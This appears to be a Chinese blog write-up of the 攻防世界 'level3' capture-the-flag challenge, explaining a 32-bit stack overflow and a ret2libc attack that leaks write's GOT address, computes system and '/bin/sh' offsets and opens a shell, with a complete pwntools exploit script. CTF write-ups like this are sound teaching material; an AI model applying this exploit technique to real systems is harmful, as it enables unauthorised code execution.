攻防世界PWN题 level3

题目地址

下载后发现题目的附件是一个 32 位可执行文件 level,以及一个 32 位的 libc 运行库

接下来使用 checksec 来查看 elf 文件开启了哪些保护,可得到如下内容:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

执行一下来看效果,发现其基本流程如下

Input:
<获取输入>
Hello, World!

放到 ida 里反汇编得到如下结果

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

发现可以函数 vulnerable_function ,继续查看其反汇编代码

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

通过前面的 checksec 可以发现并没有开启 canary ,同时 read 的第三个参数大于 buf 的大小,可知这里存在栈溢出的漏洞,检查一下文件并没有发现输出 flag 的逻辑,那么题目的目的应该是获取 shell

要获取 shell ,首先想到的是找 system 的地址,然后通过 vulnerable_function 函数中的栈溢出漏洞来修改返回地址为 system 的地址,从而劫持程序运行流,但是程序中并没有调用 system 函数,也没有诸如 “/bin/sh” 之类的字符串,所以只能从附件中的另一个文件下手,这是一个运行库文件,我们的目的是要通过它来获得两者的地址。

这里假设读者有 got 和 plt 相关的知识,如果不了解请自行搜索学习;或者从一个不太严谨的角度来看的话,对这道题而言我们只需要记住这几点:

  1. 我们将会从 got 中获得库函数(write 和 read 函数)的地址
  2. 我们将会用 plt 来调用它们
  3. 如果系统开启了 ASLR ,那么每次库的加载地址都不同,因此库函数的地址也不同
  4. 尽管开启了 ASLR ,库函数中字符串常量和函数之间的相对位置也是确定的

只要知道了这四点,理解下面的 exp 就没什么问题了

我们可以通过对 libc 进行 checksec 检查,发现它是开启了 pie 的,而现代操作系统一般都开启了 ASLR ,所以库函数在每次运行时都会被加载到不同的位置,但是正如上面的第四点所说,由于函数间的相对位置是确定的,那么只要能知道其中一个函数的真正地址,我们就可以计算出任意库函数的地址,这里我们的目标是从 got 中获取 write 函数的地址,所以要获得的是 system 和 "/bin/sh" 与它的相对位置,具体方法如下

  1. 首先要获得 write 和 system 的相对位置,由于库文件本质上是一个位置无关的 elf (你甚至可以运行它),所以可以使用 readelf 工具来查看它的信息,readelf 有一个选项 -s 可用于输出符号表,结合 grep 工具和管道可以用来查找两个函数的位置,具体命令为 readelf -s libc_32.so.6|grep 函数名 ,运行两次命令,函数名分别换成 write 和 system,在输出中寻找 write@@GLIBC_2.0system@@GLIBC_2.0 ,用 system 的第二列减掉 write 的第二列得到相对位置 -0x99a80

  2. 或者也可以使用 pwntools ,运行如下脚本来获得同样的值

    from pwn import *
    
    elf = ELF(libc_32.so.6 相对于 py 文件的位置)
    
    print(hex(elf.symbols['system']-elf.symbols['write']))
    

    理由同第 1 点,这里不再做解释

  3. 然后要获得字符串 "/bin/sh" 相对于 write 的位置,可以使用 strings 工具来执行 strings -at x libc_32.so.6|grep /bin/sh 来获得字符串的地址,或者使用 ROPgadget 工具来执行 ROPgadget --binary libc_32.so.6 --string "/bin/sh" 命令,两个工具的使用方式这里不做介绍;拿到地址后,减掉 write 的地址获得相对位置 0x84c6b

如前所述,我们将会通过 got 来获得 write 的地址,并通过 plt 来调用它,所以针对前面的栈溢出漏洞可以构造 payload 为 b'0'*0x8c+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(10)

这样就调用了 write 来输出它的地址,其中从 p32(1) 开始为 write 的三个参数

但是这样还不够,我们之前说,由于开启了 PIE 和 ASLR ,库函数每次的地址都会改变,所以这次获得的地址在下一次运行时就没有意义,为此我们需要在获得函数地址后控制程序的执行流,让它回到 read 的地方,从而使我们能够输入另一条 payload 来获得 shell;不过其实回到 main 也可以,所以上面 b'0000' 的部分需要被改为 p32(elf.symbols['main']) ,关于为什么这里 payload 的格式是这样的,不明白的小伙伴可以看我的另一篇博客最后的部分

这样以后,我们通过 u32(p.recv()[:4]) 即可获得 write 的地址,u32 可以看作是 p32 的逆操作,它的参数 p.recv()[:4] ,是取输出的前 4 个 byte,因为在 32 位程序中,地址只需要 4 个 byte 来表示

获得 write 的地址后,我们可以根据上面计算得到的相对地址获得 system 和 “/bin/sh” 的地址,从而构造第二个 payload 为

b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b) ,这里我们只关心获得的 shell ,因此返回地址就写 0000 了

总结一下,可得到 exp 如下

from pwn import *

p = remote(远程ip, 远程端口)
elf = ELF(level3 相对于 py 文件的位置)

payload = b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(10)

p.recv()
p.sendline(payload)

write_addr = u32(p.recv()[:4])

payload = b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)

p.sendline(payload)

p.interactive()

获得 shell 后,ls 命令来查看当前目录,发现 flag 文件,用 cat 来获得内容即可

posted @ 2020-04-19 23:49  愚人呀  阅读(1617)  评论(2编辑  收藏  举报